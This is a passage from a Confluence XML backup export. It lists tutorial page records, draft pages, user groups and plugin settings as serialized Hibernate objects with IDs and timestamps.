<property name="lowerTitle"><![CDATA[prettify the page with an image (step 4 of 9)]]></property>
|
||||
<collection name="bodyContents" class="java.util.Collection"><element class="BodyContent" package="com.atlassian.confluence.core"><id name="id">163850</id>
|
||||
</element>
|
||||
</collection>
|
||||
<collection name="outgoingLinks" class="java.util.Collection"><element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196627</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196629</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196631</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196632</id>
|
||||
</element>
|
||||
</collection>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262160</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262162</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:52.061</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<collection name="attachments" class="java.util.Collection"><element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98342</id>
|
||||
</element>
|
||||
<element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98346</id>
|
||||
</element>
|
||||
<element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98350</id>
|
||||
</element>
|
||||
<element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98352</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position">3</property>
|
||||
<property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98317</id>
|
||||
<property name="hibernateVersion">28</property>
|
||||
<property name="title"><![CDATA[Let's edit this page (step 3 of 9)]]></property>
|
||||
<property name="lowerTitle"><![CDATA[let's edit this page (step 3 of 9)]]></property>
|
||||
<collection name="bodyContents" class="java.util.Collection"><element class="BodyContent" package="com.atlassian.confluence.core"><id name="id">163841</id>
|
||||
</element>
|
||||
</collection>
|
||||
<collection name="outgoingLinks" class="java.util.Collection"><element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196616</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196639</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196642</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196643</id>
|
||||
</element>
|
||||
</collection>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262154</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:52.065</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<collection name="attachments" class="java.util.Collection"><element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98337</id>
|
||||
</element>
|
||||
<element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98345</id>
|
||||
</element>
|
||||
<element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98347</id>
|
||||
</element>
|
||||
<element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98349</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position">2</property>
|
||||
<property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98316</id>
|
||||
<property name="hibernateVersion">16</property>
|
||||
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262173</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:52.071</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[draft]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98315</id>
|
||||
<property name="hibernateVersion">5</property>
|
||||
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262159</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:52.074</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[draft]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98322</id>
|
||||
<property name="hibernateVersion">53</property>
|
||||
<property name="title"><![CDATA[A quick look at the editor (step 2 of 9)]]></property>
|
||||
<property name="lowerTitle"><![CDATA[a quick look at the editor (step 2 of 9)]]></property>
|
||||
<collection name="bodyContents" class="java.util.Collection"><element class="BodyContent" package="com.atlassian.confluence.core"><id name="id">163849</id>
|
||||
</element>
|
||||
</collection>
|
||||
<collection name="outgoingLinks" class="java.util.Collection"><element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196650</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196651</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196652</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196653</id>
|
||||
</element>
|
||||
</collection>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262166</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262182</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:52.078</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<collection name="attachments" class="java.util.Collection"><element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98339</id>
|
||||
</element>
|
||||
<element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98355</id>
|
||||
</element>
|
||||
<element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98356</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position">1</property>
|
||||
<property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98321</id>
|
||||
<property name="hibernateVersion">38</property>
|
||||
<property name="title"><![CDATA[Lay out your page (step 6 of 9)]]></property>
|
||||
<property name="lowerTitle"><![CDATA[lay out your page (step 6 of 9)]]></property>
|
||||
<collection name="bodyContents" class="java.util.Collection"><element class="BodyContent" package="com.atlassian.confluence.core"><id name="id">163848</id>
|
||||
</element>
|
||||
</collection>
|
||||
<collection name="outgoingLinks" class="java.util.Collection"><element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196628</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196633</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196634</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196635</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196636</id>
|
||||
</element>
|
||||
</collection>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262153</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262156</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:52.083</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<collection name="attachments" class="java.util.Collection"><element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98340</id>
|
||||
</element>
|
||||
<element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98348</id>
|
||||
</element>
|
||||
<element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98353</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position">5</property>
|
||||
<property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98320</id>
|
||||
<property name="hibernateVersion">24</property>
|
||||
<property name="title"><![CDATA[What is Confluence? (step 1 of 9)]]></property>
|
||||
<property name="lowerTitle"><![CDATA[what is confluence? (step 1 of 9)]]></property>
|
||||
<collection name="bodyContents" class="java.util.Collection"><element class="BodyContent" package="com.atlassian.confluence.core"><id name="id">163843</id>
|
||||
</element>
|
||||
</collection>
|
||||
<collection name="outgoingLinks" class="java.util.Collection"><element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196621</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196625</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196630</id>
|
||||
</element>
|
||||
</collection>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262155</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:52.086</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position">0</property>
|
||||
<property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98319</id>
|
||||
<property name="hibernateVersion">30</property>
|
||||
<property name="title"><![CDATA[Welcome to Confluence]]></property>
|
||||
<property name="lowerTitle"><![CDATA[welcome to confluence]]></property>
|
||||
<collection name="bodyContents" class="java.util.Collection"><element class="BodyContent" package="com.atlassian.confluence.core"><id name="id">163842</id>
|
||||
</element>
|
||||
</collection>
|
||||
<collection name="outgoingLinks" class="java.util.Collection"><element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196624</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196637</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196638</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196640</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196641</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196645</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196646</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196647</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196648</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196649</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:52.089</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<collection name="attachments" class="java.util.Collection"><element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98338</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position">8</property>
|
||||
<collection name="children" class="java.util.Collection"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98305</id>
|
||||
</element>
|
||||
<element class="Page" package="com.atlassian.confluence.pages"><id name="id">98306</id>
|
||||
</element>
|
||||
<element class="Page" package="com.atlassian.confluence.pages"><id name="id">98314</id>
|
||||
</element>
|
||||
<element class="Page" package="com.atlassian.confluence.pages"><id name="id">98317</id>
|
||||
</element>
|
||||
<element class="Page" package="com.atlassian.confluence.pages"><id name="id">98318</id>
|
||||
</element>
|
||||
<element class="Page" package="com.atlassian.confluence.pages"><id name="id">98320</id>
|
||||
</element>
|
||||
<element class="Page" package="com.atlassian.confluence.pages"><id name="id">98321</id>
|
||||
</element>
|
||||
<element class="Page" package="com.atlassian.confluence.pages"><id name="id">98322</id>
|
||||
</element>
|
||||
<element class="Page" package="com.atlassian.confluence.pages"><id name="id">98332</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98326</id>
|
||||
<property name="hibernateVersion">13</property>
|
||||
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262194</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:52.093</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[draft]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98325</id>
|
||||
<property name="hibernateVersion">10</property>
|
||||
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262181</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:52.096</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[draft]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98324</id>
|
||||
<property name="hibernateVersion">10</property>
|
||||
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262179</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:52.100</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[draft]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98323</id>
|
||||
<property name="hibernateVersion">7</property>
|
||||
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262157</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262158</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:52.104</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[draft]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="SpaceDescription" package="com.atlassian.confluence.spaces">
|
||||
<id name="id">98357</id>
|
||||
<property name="hibernateVersion">17</property>
|
||||
<property name="title"/><property name="lowerTitle"/><collection name="bodyContents" class="java.util.Collection"><element class="BodyContent" package="com.atlassian.confluence.core"><id name="id">163851</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-04-14 11:55:11.912</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="HibernateMembership" package="com.atlassian.crowd.embedded.hibernate2">
|
||||
<id name="id">589826</id>
|
||||
<property name="parentGroup" class="InternalGroup" package="com.atlassian.crowd.model.group"><id name="id">425985</id>
|
||||
</property>
|
||||
<property name="userMember" class="InternalUser" package="com.atlassian.crowd.model.user"><id name="id">491521</id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="HibernateMembership" package="com.atlassian.crowd.embedded.hibernate2">
|
||||
<id name="id">589825</id>
|
||||
<property name="parentGroup" class="InternalGroup" package="com.atlassian.crowd.model.group"><id name="id">425986</id>
|
||||
</property>
|
||||
<property name="userMember" class="InternalUser" package="com.atlassian.crowd.model.user"><id name="id">491521</id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="GlobalDescription" package="com.atlassian.confluence.setup.settings">
|
||||
<id name="id">98359</id>
|
||||
<property name="hibernateVersion">1</property>
|
||||
<property name="title"/><property name="lowerTitle"/><property name="version">1</property>
|
||||
<property name="creationDate">2023-11-09 06:04:19.475</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.475</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
</object>
|
||||
<object class="PersonalInformation" package="com.atlassian.confluence.user">
|
||||
<id name="id">98358</id>
|
||||
<property name="hibernateVersion">1</property>
|
||||
<property name="title"/><property name="lowerTitle"/><property name="version">1</property>
|
||||
<property name="creationDate">2023-11-09 06:04:18.930</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:18.930</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<property name="user" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="InternalGroup" package="com.atlassian.crowd.model.group">
|
||||
<id name="id">425986</id>
|
||||
<property name="name"><![CDATA[confluence-users]]></property>
|
||||
<property name="lowerName"><![CDATA[confluence-users]]></property>
|
||||
<property name="active">true</property>
|
||||
<property name="local">false</property>
|
||||
<property name="createdDate">2023-11-09 06:04:18.320</property>
|
||||
<property name="updatedDate">2023-11-09 06:04:18.320</property>
|
||||
<property name="description"/><property name="type" enum-class="GroupType" package="com.atlassian.crowd.model.group">GROUP</property>
|
||||
<property name="directory" class="DirectoryImpl" package="com.atlassian.crowd.model.directory"><id name="id">360449</id>
|
||||
</property>
|
||||
<property name="externalId"/></object>
|
||||
<object class="InternalGroup" package="com.atlassian.crowd.model.group">
|
||||
<id name="id">425985</id>
|
||||
<property name="name"><![CDATA[confluence-administrators]]></property>
|
||||
<property name="lowerName"><![CDATA[confluence-administrators]]></property>
|
||||
<property name="active">true</property>
|
||||
<property name="local">false</property>
|
||||
<property name="createdDate">2023-11-09 06:04:18.284</property>
|
||||
<property name="updatedDate">2023-11-09 06:04:18.284</property>
|
||||
<property name="description"/><property name="type" enum-class="GroupType" package="com.atlassian.crowd.model.group">GROUP</property>
|
||||
<property name="directory" class="DirectoryImpl" package="com.atlassian.crowd.model.directory"><id name="id">360449</id>
|
||||
</property>
|
||||
<property name="externalId"/></object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32802</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[confluence.extra.masterdetail:build]]></property>
|
||||
<property name="value"><![CDATA[<string>2</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32803</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.confluence.plugins.confluence-inline-comments:build]]></property>
|
||||
<property name="value"><![CDATA[<string>1</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32800</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.plugins.atlassian-nav-links-plugin:build]]></property>
|
||||
<property name="value"><![CDATA[<string>1</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32801</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.confluence.plugins.confluence-inline-tasks:build]]></property>
|
||||
<property name="value"><![CDATA[<string>3</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32798</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.plugins.atlassian-whitelist-core-plugin:build]]></property>
|
||||
<property name="value"><![CDATA[<string>3</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32799</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.plugins.custom_apps.hasCustomOrder]]></property>
|
||||
<property name="value"><![CDATA[<string>false</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32796</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.confluence.plugins.confluence-edge-index:build]]></property>
|
||||
<property name="value"><![CDATA[<string>1</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32797</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.crowd.embedded.admin:build]]></property>
|
||||
<property name="value"><![CDATA[<string>3</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32794</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.audit.plugin:audit-config:retention:period]]></property>
|
||||
<property name="value"><![CDATA[<string>P3Y</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32795</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.confluence.extra.team-calendars:build]]></property>
|
||||
<property name="value"><![CDATA[<string>1312121002</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32792</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.migration.agent:mp-status]]></property>
|
||||
<property name="value"><![CDATA[<string>{"pluginVersionLastChecked":"3.4.6","outdated":true,"upgradeBy":null,"timestamp":1699509836998}</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32793</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.audit.atlassian-audit-plugin:build]]></property>
|
||||
<property name="value"><![CDATA[<string>2</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32790</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[atlassian.confluence.plugin.counter]]></property>
|
||||
<property name="value"><![CDATA[<int>3</int>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32791</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[reindex.status]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.index.status.ReIndexJob>
|
||||
<id>a051f6a2-cf76-4d3d-999d-ccfffe5e65d3</id>
|
||||
<startTime>2023-11-09T06:03:55.369232Z</startTime>
|
||||
<finishTime>2023-11-09T06:03:59.229997Z</finishTime>
|
||||
<stage>COMPLETE</stage>
|
||||
<acknowledged>false</acknowledged>
|
||||
<rebuildingProgress>
|
||||
<total>54</total>
|
||||
<processed>54</processed>
|
||||
</rebuildingProgress>
|
||||
<lastRebuildingUpdate>2023-11-09T06:03:58.418741Z</lastRebuildingUpdate>
|
